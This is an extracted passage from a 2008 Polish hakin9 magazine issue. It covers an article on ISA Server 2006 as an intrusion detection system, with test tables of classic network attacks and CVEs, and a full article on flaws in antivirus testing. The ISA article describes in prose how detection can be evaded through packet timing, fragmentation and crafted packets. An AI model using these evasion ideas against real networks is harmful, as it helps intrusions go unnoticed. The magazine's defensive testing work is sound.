Nie zaobserwowa-
no działań, które po-
tencjalnie mogłyby za-
szkodzić atakowanym
systemom.

Nie zaobserwowano dzia-
łań, które potencjalnie
mogłyby zaszkodzić ata-
kowanym systemom.

Atak powiódł się, prze-
jęto dane uwierzytel-
niające administratora.

Zawieszenie się konsoli
zarządzającej ISA Se-
rver, obniżenie wydaj-
ności ISA Server oraz
atakowanych kompu-
terów.

Wykrycie ISA Server 2006 wy-

krył atak natychmiast.

ISA Server 2006 wykrył
atak natychmiast.

Atak nie został wykry-
ty. Można się jednak
zabezpieczyć przed
nim w prosty sposób.

ISA Server 2006 wy-
krył atak natychmiast.

Tabela 4b.

Podsumowanie testów

UDP Bomb /

Flood

Brute Force FTP

Teardropping

WinNuke

Ping Flooding,

nieprawidłowe

pakiety ICMP

CVE

CVE-1999-0103,
CVE-2002-2150

CVE-1999-0017,
CVE-1999-0079,
CVE-1999-0614

CVE-1999-0104,
CVE-1999-0015

CVE-1999-0153

CVE-1999-0128

Skutek

Zasoby systemo-
we zostały zajęte
przez atak.

Uzyskano dostęp do
kont użytkowników
FTP.

Nie zaobserwowa-
no działań, które
potencjalnie mo-
głyby zaszkodzić
atakowanym sys-
temom.

Nie zaobserwo-
wano działań,
które potencjal-
nie mogłyby za-
szkodzić atako-
wanym syste-
mom.

Spowolnienie
działania serwera
ISA. Zablokowa-
nie połączeń.

Wykry-
cie

ISA Server wy-
świetlił alarmy, któ-
re pomogą zorien-
tować się, że na-
stępuje atak.

Atak ten nie został
wykryty. Dostęp do
serwera uwarunko-
wany jest ustawie-
niami dodatkowych
aplikacji.

Atak nie został
wykryty.

ISA Server 2006
wykrył atak na-
tychmiast.

ISA Server 2006
nie wykrył ata-
ku, ale wyświetlił
alarmy wywołane
skutkami ataku.

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

57

my prawdopodobieństwo wystąpie-
nia ataków. ISA Server 2006 posia-
da wbudowane mechanizmy, które
blokują ruch w przypadku, gdy je-
go parametry osiągną wyznaczo-
ną wartość progową (np. zbyt wiele
przychodzących pakietów ICMP).
W przeprowadzonych testach da-
ło się zauważyć, że jeśli wysyłamy
pakiety w inny sposób, niż zosta-
ło to narzucone przezdaną aplika-
cję czy ogólne ustawienia sieciowe,
to nie są one wykrywane przez ser-
wer ISA. Czasem jest to brak de-
tekcji na poziomie monitorowania
ruchu przychodzącego, jak w przy-
padku zmodyfikowanych pakie-
tów PING, a niekiedy jest to tylko
zaniechanie wyświetlenia alarmu
na tablicy rozdzielczej, ponieważ
określony zbiór pakietów nie jest
uznawany za zagrożenie. Obydwie
sytuacje zmniejszają prawdopodo-
bieństwo wykrycia danego ataku.
Tak było w przypadku ataku Brute
Force FTP
, w którym odstępy mie-
dzy wysyłaniem kolejnych pakietów
zostały celowo zwiększone. Sy-
tuacja taka nie zagraża w znacz-
nym stopniu bezpieczeństwu sie-
ci. Należy pamiętać, że system IDS
na serwerze ISA jest tylko dodatko-
wym modułem. Zestawienie wyko-
nanych testów znajduje się w Tabe-
lach 4a i 4b Podsumowanie testów.

Większość dostępnych sys-

temów IDS została zintegrowana
z systemami reagującymi na zda-
rzenia. Wystąpienie podejrzanego
incydentu inicjuje reakcję uwarun-
kowaną technologicznie oraz jest
w stanie oddziaływać z systemem.
Korzystając z wbudowanych algo-
rytmów analizy kontekstowej, sys-
tem IDS odrzuca niektóre pakie-

ty, a część przechowuje do dalsze-
go monitorowania. Słabością wie-
lu systemów IDS jest to, że zbie-
rają one pofragmentowane pakiety.
W sytuacji, gdy zostanie nawiąza-
nych wiele połączeń i każde z nich
będzie wymagało obsługi fragmen-
tacji pakietów, system będzie prze-
chowywał pofragmentowane pakie-
ty do momentu, aż nie nadejdzie
ostatni z nich. Działanie takie może
doprowadzić do przepełnienia bufo-
ra pakietów, co sprzyja wykonaniu
innych ataków nie będąc zauwa-
żonym. Oczywiście systemy IDS
mają zakodowany czas, w którym
mają otrzymać ostatnią część pa-
kietu – jeśli jej nie otrzymają, po-
zostałe fragmenty są odrzucane.
Mieszcząc się jednak w wyznaczo-
nych granicach czasowych, można
oszukać system. Innym ciekawym
sposobem na to jest korzystanie
z pakietów, które nie zostały zde-
finiowane w żadnym z protokołów.
Istnienie pakietów, które nie są pra-
widłowe dla danego systemu opera-
cyjnego, jest w pełni akceptowalne,
gdyż istnieje zarówno wiele syste-
mów operacyjnych, jak i producen-
tów oprogramowania. Dopuszczal-
ne są więc takie konstrukcje pakie-
tów, które umożliwiłyby komunika-
cję oprogramowania różnych pro-
ducentów. Systemy wykrywania na-
ruszeń muszą rozumieć te pakie-
ty, włączając w to nawet takie, któ-
re są charakterystyczne dla danej
aplikacji. Pakiety można dowolnie
modyfikować, zachowując oczywi-
ście zasady, które umożliwiają ich
funkcjonowanie. Na tej podsta-
wie tworzy się nietypowe strumie-
nie danych, wykorzystując do tego
celu np. fragmentację IP lub kolej-

kowanie segmentów TCP. Mody-
fikacja pakietów polegała niegdyś
na zamianie danych, teraz już – kie-
dy atak Man-In-The-Middle nie jest
problemem – modyfikuje się np. ad-
res IP, pole TTL, TOS (Type of Se-
rvice
) lub dodaje do nagłówka sour-
ce routing
z określeniem trasy, wy-
konując przez to atak typu DoS. Pa-
kiety nie są jednak dowolnie mody-
fikowalne, gdyż komputer, do któ-
rego wędruje pakiet, posiada pew-
ne wbudowane standardy, w ja-
kich przychodzące pakiety mają się
mieścić. Gdy pakiet jest zbyt silnie
zmodyfikowany, to docelowy sys-
tem po prostu go nie zauważy, al-
bo nie będzie reagował zgodnie
z oczekiwaniami.

Wykrywanie włamań w syste-

mach i sieciach komputerowych jest
ciągłym procesem, który powinien
być dynamicznie rozwijany wraz
z innymi mechanizmami zabezpie-
czeń, takimi jak zapora ogniowa czy
konfiguracja polityk dostępowych na
stacjach roboczych użytkowników.
Należy pamiętać, że omawiane
w niniejszym artykule rozwiązanie
Microsoft ISA Server 2006 stanowi
jedynie dodatkowy poziom zabez-
pieczeń i nie będzie zapobiegało
ono np. złośliwym działaniom użyt-
kowników, nie zastąpi także do-
brze skonfigurowanych routerów
czy innych urządzeń sieciowych.
System można uznać za bezpiecz-
ny, jeśli ocena wynikająca z aksjo-
matu mówiącego, że poziom bez-
pieczeństwa systemu jest taki, jak
jego najsłabsze ogniwo, będzie za-
dowalająca i pozwoli na komplek-
sową ochronę przetwarzanych da-
nych. Po przeprowadzeniu testów
bezpieczeństwa oraz po spraw-
dzeniu, czy testy te są wykrywane,
nasuwa się wniosek, że każde roz-
wiązanie podnoszące poziom bez-
pieczeństwa jest warte zastosowa-
nia. Dlatego też, mając na uwadze
dynamikę powstawania nowych za-
grożeń, system wykrywania wła-
mań jest rozwiązaniem godnym po-
lecenia. l

O autorze

Pasjonatka zagadnień związanych z bezpieczeństwem systemów teleinforma-
tycznych. Posiada certyfikację MCSE+Security oraz tytuł certyfikowanego trene-
ra Microsoft (MCT). Zawodowo zajmuje się przeprowadzaniem audytów bezpie-
czeństwa oraz bezpieczeństwem organizacyjnym w oparciu o obowiązujące nor-
my i standardy, posiada wiele publikacji z tej dziedziny. Interesuje się problema-
tyką związaną z zarządzaniem i analizą ryzyka, a także metodykami wspoma-
gającymi modelowanie zagrożeń. Dwukrotna stypendystka Ministra Edukacji Na-
rodowej za osiągnięcia naukowe. Na co dzień pracuje w firmie ISCG Sp. Z o.o.
w Warszawie.
Kontakt z autorem: paula.januszkiewicz@gmail.com

background image

www.hakin9.org

hakin9 Nr 2/2008

58

Obrona

S

ą trzy rodzaje kłamstw: kłamstwa,
okropne kłamstwa i statystyki – Ben-
jamin Disraeli

Kto przeprowadza testy

Testujących programy antywirusowe moż-
na podzielić na kilka grup. Pierwszą tworzą
indywidualni użytkownicy, którzy korzysta-
ją z programu antywirusowego. Często chcą
sprawdzić, czy dokonali właściwego wybo-
ru, wykorzystując na przykład skaner onli-
ne producenta konkurencyjnego programu.
Choć nie mają pojęcia o zagrożeniach, wy-
krzykują hasła wysławiające konkretne apli-
kacje i znieważające inne, ponieważ któryś
z programów wykrył wirusa, którego nie wy-
krył inny antywirus. Wyniki swoich testów pu-
blikują na forach internetowych, na blogach
i w komentarzach do artykułów. Tych wypo-
wiedzi nikt rozsądny nie traktuje poważnie,
ponieważ są całkowicie subiektywne i błęd-
nie interpretują fakty.

Drugą grupą są testerzy–amatorzy. Te-

sty przeprowadzane przez nich polegają na
instalacji kilku programów antywirusowych
i przeskanowaniu większej lub mniejszej
(zwykle mniejszej) kolekcji zagrożeń. Przy-

gotowują oni strony z wynikami, na których
znajdują się zestawienia wykrywalności pro-
gramów. Osoby te, przeprowadzając testy
czysto amatorsko, nie muszą dbać o ich ja-
kość – przez co jest ona bardzo niska. Wy-
niki, choć na pierwszy rzut oka interesują-
ce, są sfałszowane na skutek przyjęcia błęd-
nej metodyki. Błędna metodyka jest nieste-
ty najczęstszym problem, z którym borykają

Wiarygodność

testów programów

antywirusowych

Jakub Dębski

stopień trudności

W przypadku programów antywirusowych jedną z najbardziej

kontrowersyjnych kwestii są ich testy. Wzbudzają wiele emocji

wśród użytkowników, wśród potencjalnych nabywców i wśród

konkurujących firm antywirusowych. Są istotne, ponieważ

kształtują obraz produktu antywirusowego – co przekłada się

na decyzje o jego zakupie, czyli na pieniądze.

Z artykułu dowiesz się

• jak przeprowadzane są testy programów anty-

wirusowych,

• jak twórcy programów exploitują metodyki

przeprowadzania testów,

• dlaczego większość istniejących testów jest

nierzetelna.

Co powinieneś wiedzieć

• powinieneś znać podstawy działania progra-

mów antywirusowych,

• powinieneś znać podstawową terminologię

związaną z niebezpiecznym oprogramowa-
niem.

background image

Wiarygodność testów programów antywirusowych

hakin9 Nr 2/2008

www.hakin9.org

59

się również profesjonalni testerzy.
Jak pokażę w dalszej części artyku-
łu, nawet przyjęcie lepszej nie daje
wiarygodnych rezultatów.

Trzecią grupą są profesjonalni te-

sterzy i firmy wydające certyfikaty.
Na bieżąco współpracują z firmami
antywirusowymi w celu stworzenia
jak najlepszych procedur testowych.
Czwarta grupa to dziennikarze, któ-
rzy tworzą zestawienia opierając się
na testach wykonanych własnoręcz-
nie (często takie testy są równoważ-
ne amatorskim) lub na testach zle-
conych profesjonalistom. W swo-
ich artykułach uwzględniają tak-
że dodatkowe kryteria oceny, takie
jak jakość wsparcia technicznego,
jakość instrukcji, dodatkowych na-
rzędzi, wyglądu interfejsu użytkow-
nika czy nawet pudełka. Kolejność
programów w testach mocno zale-
ży od przyjętych kryteriów dodatko-
wych – również tych niezwiąznych
z wykrywalnością.

Cel i rodzaje testów

Celem testów powinno być przełoże-
nie jakości produktu na wartości mie-
rzalne. Przed testerem stoi zadanie
wybrania tego, co testować, jak te-
stować i jakie przyjąć kryteria oceny.
Do standardowych testów progra-
mów antywirusowych należą:

• testy wykrywalności,
• testy szybkości skanowania,
• testy ochrony proaktywnej (heu-

rystyki),

• testy fałszywych alarmów.

Czasami przeprowadzane są do-
datkowe testy:

• wykorzystania zasobów,
• szybkości reakcji na zagroże-

nia,

• możliwości przebicia się przez

warstwy ochronne plików (pro-
tektory),

• skuteczności dodatkowych mo-

dułów (blokady behawioralne,
zapory ogniowe, leczenie, ska-
nery protokołów sieciowych,
wykrywacze rootkitów itd.),

• przyjrzyjmy się podstawowym

błędom popełnianym przez te-

sterów w poszczególnych kate-
goriach.

Wykrywalność

Za główny wyznacznik jakości pro-
gramu antywirusowego uznawana
jest skuteczność detekcji znanych
zagrożeń. Testujący skanują kolek-
cję plików i na podstawie wyników
ustalają procentową skuteczność
programu. Test ten wydaje się być
na tyle prosty, że trudno wymyślić,
w jaki sposób można przeprowa-
dzić go niepoprawnie. Pozory my-
lą, gdyż neutralne przeprowadze-
nie go jest praktycznie niemożliwe.
Pytaniem, które każdy powinien za-
dać, jest skąd testujący biorą prób-
ki zagrożeń?

Większość amatorów opiera te-

sty na niewielkiej kolekcji zagrożeń,
najczęściej pobranej z Internetu,
ze stron hakerskich. Kolekcja taka
składa się z od kilkuset do kilku ty-
sięcy plików. Ponieważ współcze-
śnie jest to liczba zagrożeń, która
każdego dnia dodawana jest do baz
programu antywirusowego, jest to
próba zbyt mała do przeprowadze-
nia rzetelnych testów. Aby testy mia-
ły sens, konieczne jest wykorzysta-
nie bogatej bazy zagrożeń, jaką sta-
rają się zdobyć profesjonalne firmy
testujące. Wykorzystują one różne
źródła plików:

• pobranie ze stron hakerskich,
• od dostawców skrzynek poczto-

wych,

• z honeypotów;
• zebrane przez roboty interneto-

we,

• od niezależnych zbieraczy,
• od producentów programów an-

tywirusowych.

Dostawcy skrzynek pocztowych są
dobrym źródłem robaków poczto-
wych, ale nie są w stanie dostar-
czyć koni trojańskich, wirusów in-
fekujących pliki, dialerów, downlo-
aderów czy exploitów. Do tego słu-
żą honeypoty i roboty internetowe,
które chodzą po stronach i pobie-
rają niebezpieczne oprogramowa-
nie. Źródłem, które dostarcza wię-
cej próbek, są niezależni zbieracze,

którzy kolekcjonują niebezpiecz-
ne oprogramowanie i wykorzystują
powyższe źródła. Ponieważ wymie-
niają się z osobami z całego świa-
ta, są w stanie sprowadzić specy-
ficzne dla wybranego regionu konie
trojańskie. Kolejnym źródłem są sa-
me firmy antywirusowe, które mają
najwięcej próbek. Jedna firma jest
w stanie dostarczyć do testu wię-
cej próbek niż wszystkie powyższe
źródła razem wzięte. Miesięczny
zestaw może zawierać nawet kilka-
dziesiąt tysięcy próbek. Z tego po-
wodu firmy antywirusowe mają naj-
większy wpływ na zestaw testowy.
Ponieważ pomiędzy firmami nastę-
puje wymiana próbek, te, które wy-
mieniają się i te, które dostarczają
najwięcej próbek mają największe
szanse uzyskać wysoki wynik w te-
stach. Nijak ma się to rzeczywisto-
ści, gdyż liczy się jedynie liczba wy-
krywanych plików zestawu testowe-
go. Czyich próbek w zestawie jest
więcej, ten wygrywa.

Kolejną kwestią jest jakość sa-

mego zestawu. W jaki sposób moż-
na sprawdzić, czy pliki w zestawie te-
stowym są rzeczywiście zagrożenia-
mi, a nie na przykład uszkodzonymi
plikami, w których programy antywi-
rusowe przypadkiem coś wykrywa-
ją? Niektórzy robią to następująco:
Skanujemy próbki za pomocą AVP
i F–prot i usuwamy wszystkie ozna-
czone jako OK, Prawdopodobnie Za-
infekowane, Podejrzane lub Uszko-
dzone (tekst z jednego z najwięk-
szych amatorskich testów). W efek-
cie tego pozostają w kolekcji jedynie
próbki, które są wykrywane przez
powyższe antywirusy, a usuwane te,
które są wykrywane wyłącznie przez
inne. Zgadnijmy, które dwa antywiru-
sy będą zawsze w czołówce powyż-
szego testu?

Testujący powinni sprawdzić

wszystkie próbki, które do nich tra-
fiają. Kolekcje pełne są starych do-
sowych wirusów, niedziałających na
nowych systemach, plików uszko-
dzonych, plików z pozostałościa-
mi po leczeniu infekcji, a nawet pli-
ków nie będących nigdy zagroże-
niami, w których program antywiru-
sowy błędnie wykrywa zagrożenie.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

60

Sprawdzanie powinno odbywać się
na komputerach rzeczywistych, po-
nieważ coraz więcej niebezpieczne-
go oprogramowania wykrywa wir-
tualne środowisko i zachowuje się
w odmienny sposób. Czy jest
w ogóle możliwe sprawdzenie jako-
ści próbek? Na pewno można wy-
kluczyć pliki uszkodzone lub o nie-
poprawnym formacie. Nie jest jed-
nak możliwe sprawdzenie w rozsąd-
nym czasie całej kolekcji. W najnow-
szych testach liczbę wykorzystywa-
nych próbek liczy się w setkach ty-
sięcy. Przekracza to możliwości na-
wet profesjonalnych testerów.

Zwróćmy uwagę, że niebez-

pieczne oprogramowanie działa
w środowisku dynamicznym. Bot
może działać tylko, gdy potrafi za-
logować się na kanał IRC by otrzy-
mywać polecenia, downloader jest
groźny tylko, gdy aktywny jest ser-
wer HTTP, z którego ściąga niebez-
pieczne oprogramowanie, exploit
zadziała na nie załatanym oprogra-
mowaniu. Ponieważ długość życia
przeciętnego niebezpiecznego pro-
gramu to kilka dni, większość pli-
ków w kolekcjach nigdy już nie bę-
dzie groźna. Nie ma również moż-
liwości stwierdzenia, że aktualnie
niedziałająca próbka nie zadziała
ponownie z biegiem czasu lub uru-
chomiona w innym środowisku.

Istnienie w kolekcjach niedziała-

jących próbek powoduje absurdal-
ną sytuację –programy antywiru-
sowe muszą wykrywać zagrożenia
w plikach, które nie są groźne, wy-
łącznie w celu osiągnięcia lepsze-
go wyniku w testach. Prowadzi to
do sytuacji, w której tester stwier-
dza, że plik jest na pewno groźny,
bo wykrywa go kilka firm antywiru-
sowych, po czym kolejne firmy mu-
szą dodać go do swoich baz, aby
nie pozostać w tyle w testach.

Nawet w przypadku sprawdza-

nia poprawności próbek przez te-
stujących istnieje efekt zwany psu-
ciem kolekcji. Polega on na tym, że
do odróżnienia dwóch próbek naj-
częściej wykorzystuje się sumę
kontrolną pliku (najczęściej MD5).
Zmiana choć jednego bajta (lub do-
pisanie go na końcu pliku) powodu-

je, że w kolekcji znajdą się dwa pra-
wie identyczne pliki. W momencie,
gdy tak zduplikowany plik jest wy-
krywany tylko przez jednego an-
tywirusa, uzyskuje on przewagę
nad konkurencją. Co w przypad-
ku, gdy plik jest zduplikowany 1000
razy? Czy to wciąż inny robak
(w końcu ma inne MD5), czy ten sam
i plik w kolekcji powinien pozostać
jeden? Jeżeli tak, to jaką przyjąć
miarę podobieństwa do wyklucza-
nia podobnych plików z kolekcji?
Niestety, kolekcje są pełne takich
próbek, być może umieszczanych
w nich celowo.

Szybkość skanowania

Drugim najpopularniejszym kryte-
rium testu jest szybkość skanowa-
nia programów antywirusowych.
W tym przypadku testujący przyj-
mują błędną metodykę z powodu
niewiedzy na temat działania pro-
gramów antywirusowych. Najczę-
ściej proces testowania przebiega
następująco:

• programy antywirusowe są ścią-

gane ze strony producenta lub
otrzymywane od niego,

• programy instalowane są na

komputerach testowych,

• o określonej godzinie następuje

ich aktualizacja,

• wyłączany jest proces aktuali-

zacji,

• następuje test poszczególnych

programów.

W przypadku testów profesjonal-
nych proces aktualizacji nie na-
stępuje nigdy, a jedynie testowane
są wersje otrzymane od producen-
ta programu. W ten sposób nie po-
wstają problemy związane z różni-
cami czasów aktualizacji. Można
dzięki temu przetestować wszyst-
kie programy na jednym kompu-

terze, na zapamiętanym obrazie
systemu. Większość testów ama-
torskich pomija kwestie buforowa-
nia dostępu do plików przez sys-
tem plików, przez co kolejny testo-
wany program antywirusowy dzia-
ła szybciej niż pierwszy urucho-
miony.

Testerzy profesjonalni dokonują

testów dokładnie w takich samych
warunkach (przywrócenie obrazu
systemu), przez co szybkość nie po-
winna być sfałszowana. Tak jednak
nie jest. W niektórych programach
antywirusowych stworzono mecha-
nizmy, dzięki którym wypadają one
lepiej w testach. Specjalny sterownik
sprawdza, czy plik został już skontro-
lowany i plik taki nie jest sprawdza-
ny ponownie. Z tego powodu urucho-
mienie (bez przywrócenia czystego
systemu, nawet po restarcie) ska-
nowania on–access lub on–demand
powoduje, że drugi w kolejności test
przebiega błyskawicznie.

W rzeczywistości taki sterownik

nie przynosi zysku. Po każdej ak-
tualizacji programu antywirusowe-
go pliki muszą być sprawdzone po-
nownie, ponieważ w bazach poja-
wią się nowe informacje o zagro-
żeniach i plik występujący na dys-
ku może okazać się właśnie doda-
nym zagrożeniem. Aktualizacje pro-
gramów antywirusowych następu-
ją kilka razy dziennie, więc plik mu-
si być po każdej z nich sprawdza-
ny. Ponieważ w testach profesjonal-
nych aktualizacje są wyłączane, pro-
gramy stosujące wyżej wymienioną
technikę osiągają bardzo dobre re-
zultaty dla skanera on–access lub
on–demand, w zależności od tego,
który z nich jest testowany jako dru-
gi. Sterownik taki powoduje dodatko-
we zagrożenie związane z możliwo-
ścią podmiany czystego pliku na nie-
bezpieczny przy nieaktywnym ste-
rowniku. Plik taki nie zostanie spraw-

W Sieci

Profesjonalne testy programów antywirusowych:

• AV–Comparatives – http://www.av–comparatives.org,
• AV–Test.org – http://www.av–test.org,
Virus Bulletinhttp://www.virusbtn.com/vb100/index.

background image

hakin9 Nr 2/2008

61

dzony aż do kolejnej aktualizacji programu antywiruso-
wego. Innym błędem powtarzanym przez amatorów jest
testowanie szybkości skanowania na kolekcjach zagro-
żeń zamiast na czystych plikach. Test taki nie ma sensu,
ponieważ istotne jest spowolnienie systemu w przypad-
ku czystych plików. W rzeczywistym systemie potencjal-
ne zagrożenia stanowią ułamek procenta czystych obiek-
tów, które są sprawdzane przez program antywirusowy.
Sprawdzanie obiektów groźnych może być długie – waż-
ne, aby było skuteczne.

Testy ochrony proaktywnej

Współcześnie programy antywirusowe zmierzają
w kierunku blokowania niebezpieczeństw zanim do-
trą one do użytkownika. Jedną z najskuteczniejszych
metod są mechanizmy heurystyczne wykrywające no-
we zagrożenia, których sygnatury nie są jeszcze zna-
ne. Heurystyka najczęściej testowana jest w następu-
jący sposób:

• program antywirusowy i jego bazy są zamrażane

określonego dnia,

• po miesiącu, dwóch lub trzech nowe pliki z kolekcji są

testowane za pomocą programu antywirusowego,

• liczba wykrytych próbek stanowi o sile mechanizmów

heurystycznych.

Autorzy testów po raz kolejny popełniają błąd w meto-
dyce, przez co test ten nie oddaje rzeczywistej skutecz-
ności. Przykładowo silnik heurystyczny programu ESET
NOD32 jest silnikiem adaptującym się. Każda dodana sy-
gnatura generyczna zwiększa skuteczność detekcji heu-
rystycznej, gdyż silnik dostosowuje się do aktualnie poja-
wiających się zagrożeń. Każda kolejna aktualizacja pro-
gramu zwiększa prawdopodobieństwo wykrycia nowego
zagrożenia. Ponieważ program antywirusowy w teście
zostaje zamrożony, jego testowa skuteczność jest znacz-
nie mniejsza niż programu na bieżąco aktualizowanego.

Testy ochrony proaktywnej są niemiarodajne rów-

nież z innego powodu. Tym powodem jest różnica
w czasie dostępu do próbek przez testującego i przez
producenta programu antywirusowego. Przyjrzyjmy
się sytuacji, w której producent programu antywiruso-
wego otrzyma próbkę szybciej niż testujący:

• producent programu dodaje wzorzec próbki do pro-

gramu,

• następuje zamrożenie programu przez testera

(przestaje być aktualizowany),

• testujący otrzymuje daną próbkę i dodaje ją do ko-

lekcji próbek nowych,

• po określonym czasie za pomocą zamrożonego

programu antywirusowego testowana jest skutecz-
ność wykrywania nowych próbek,

• próbka jest wykrywana wzorcem, ale tester uznaje

ją za nową, więc detekcję traktuje jako heurystycz-
ną i zawyża skuteczność danego programu.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

62

stu fałszywych alarmów mogą być
bardzo różne.

Między innymi z powodu fał-

szywych alarmów konieczna jest
współpraca autorów testów z twór-
cami programów antywirusowych.
Twórcy programów po każdym te-
ście chcą odtworzyć procedury te-
stowe w swoim środowisku, ponie-
waż często testy zawierają ewi-
dentne błędy. Wielokrotnie zdarza
się, że fałszywy alarm okazuje się
rzeczywistym zagrożeniem wykry-
wanym tylko przez jeden program
antywirusowy. Mimo tego opinio-
twórcze wyniki bywają publikowa-
ne zanim nastąpi możliwość ich
weryfikacji.

Testy a rzeczywistość

Samo wykrycie zagrożenia w pli-
ku nie oznacza, że program anty-
wirusowy jest w stanie zabezpie-
czyć przed nim system. Testy nie
oddają rzeczywistości, ponieważ
niebezpieczeństwo występuje czę-
sto zanim program zostanie zapi-
sany do pliku. Exploit jest w stanie
zaatakować program pocztowy czy
przeglądarkę internetową w mo-
mencie, gdy odpowiednio spreparo-
wany obiekt znajdzie się w pamięci
komputera. Spreparowany strumień
wideo lub audio może zainstalować
konia trojańskiego poprzez błąd w
odtwarzaczu. Niebezpieczny kod
może działać bez instalacji na dys-
ku, w ramach innego procesu lub
jako samodzielny proces. Ponieważ
programy zabezpieczające wyko-
rzystują różne techniki i skanowa-
nie odbywa się na różnych pozio-
mach, niezwykle trudno jest porów-
nać ich rzeczywiste możliwości.

Dotychczas żaden z testów

nie skupia się na wielopoziomowej

Poprzez opóźnione udostępnienie
testującemu próbek już wykrywa-
nych możliwe jest sztuczne zawyże-
nie skuteczności w testach mechani-
zmów heurystycznych.

Testy fałszywych

alarmów

Programy antywirusowe muszą
mieć wysoką skuteczność wykry-
wania zagrożeń, ale nie mogą po-
wodować fałszywych alarmów,
które bywają bardziej niebezpiecz-
ne niż konie trojańskie. W celach
testowych gromadzone są setki ty-
sięcy czystych plików, które skła-
dają się na zestaw testowy. Nie-
stety, wielokrotnie zdarza się, że
testerzy w kolekcjach plików czy-
stych posiadają pliki niebezpiecz-
ne lub o wątpliwej bezpieczności.
Wszystkie pliki wykrywane choć
przez jeden program antywiru-
sowy muszą być przeanalizowa-
ne (wymagany jest tu reverse en-
gineering), ponieważ nawet w ko-
lekcjach plików czystych dołącza-
nych do czasopism lub na stro-
nach z darmowym oprogramowa-
niem znajdują się realne zagroże-
nia. Amatorzy zwykle nie posiada-
ją umiejętności pozwalających na
dokonanie takich analiz.

Największym problemem kolek-

cji czystych plików są pliki z tzw.
szarej strefy, które trudno zaklasy-
fikować jako dobre lub złe. Progra-
my antywirusowe często testowa-
ne są z domyślnymi ustawieniami,
które bywają różne w różnych pro-
gramach. W niektórych domyśl-
nie włączone jest wykrywanie po-
tencjalnie niebezpiecznych aplika-
cji (riskware), których zwykli użyt-
kownicy nie powinni mieć, a któ-
rych występowanie może świad-
czyć o ataku. Do takich aplikacji
zaliczają się programy typu net-
cat czy remote administrator. In-
ne programy domyślnie wykrywa-
ją niechciane aplikacje. Występują
one u zwykłych użytkowników, ale
często użytkownicy nie chcą ich
mieć (np. adware). W zależności
od domyślnych ustawień testowa-
nych programów i tego, co testują-
cy uznaje za czysty plik, wyniki te-

O autorze

Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie Ar-
caVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dyplomo-
wej na temat wykorzystania sieci neuronowych w detekcji zagrożeń internetowych.
Kontakt z autorem: debski.jakub@wp.pl

ochronie, jaką zapewniają współcze-
sne pakiety bezpieczeństwa.

Znaczenie testów

O wadze problemu, jakim są te-
sty programów, może świadczyć
coraz częstsze pojawianie się te-
go zagadnienia na konferencjach
poświęconych

bezpieczeństwu.

Na ostatnich konferencjach Virus
Bulletin
było kilka prelekcji na temat
przeprowadzania testów, ich zakre-
su, proponowanych rozwiązań i po-
tencjalnych problemów. Wywoła-
ły one na tyle duże zainteresowa-
nie, że w maju 2007 roku odbyły
się w Reykjaviku międzynarodowe
warsztaty testowania programów
antywirusowych, na których przed-
stawiciele firm starali się dojść po-
rozumienia z testerami. Ponieważ
każda firma chce wypaść w testach
jak najlepiej, wątpliwe jest wypraco-
wanie metodyki, która zadowoli za-
równo testerów, firmy antywiruso-
we, jak i użytkowników.

Podsumowanie

Najlepsze antywirusy w testach róż-
nią się o kilka procent. Ze względu
na problemy związane z przepro-
wadzaniem testów niezwykle trud-
no jest uznać jednoznacznie zwy-
cięstwo w jakości któregokolwiek
z nich. Mimo to na wynikach testów
opierają się działy marketingu, a na-
bywcy podejmują decyzje o zakupie
konkretnego produktu. Pozostaje
mieć nadzieję, że w przyszłości uda
się stworzyć wspólnymi siłami testy,
które umożliwią obiektywną ocenę
jakości i bezpieczeństwo przestanie
być niemierzalne. l

background image

Strony rekomendowane

Misją serwisu jest zaprezentowanie języ-

ków programowania oraz ułatwienie użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona firmy świadczącej profesjonalne

usługii IT, specjalizującej się w wypożycza-

niu serwerów i macierzy. Firma prowadzi

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal poświęcony technikom programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych,

nie należy ich wykorzystywać w niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal internetowy poświęcony w całości

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom

i rozrywce oraz najnowszym aplikacjom.

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką bezpieczeństwa, audytem, IT Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna poświęcona w całości tematy-

ce hakingu. Początkujący w tej dziedzinie

znajdą na niej działy, ktore im umożliwią

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją serwisu jest dostarczenie dużej ilo-

ści informacji z zakresu informatyki. Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek

jak i kursy tworzenia portali www.

http://www.swww.pl/

Serwis poświęcony branży IT oferujący

codzienne newsy, artykuły, recenzje ma-

gazynów, testy oraz forum dyskusyjne.

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera.

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej się w nowoczesnych rozwią-

zaniach informatycznych, zaczynając od

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

www.hakin9.org

hakin9 Nr 2/2008

64

Obrona

N

a rynku światowym istnieje wiele in-
stytucji zajmujących się profesjonal-
ną analizą przypadków przestępstw

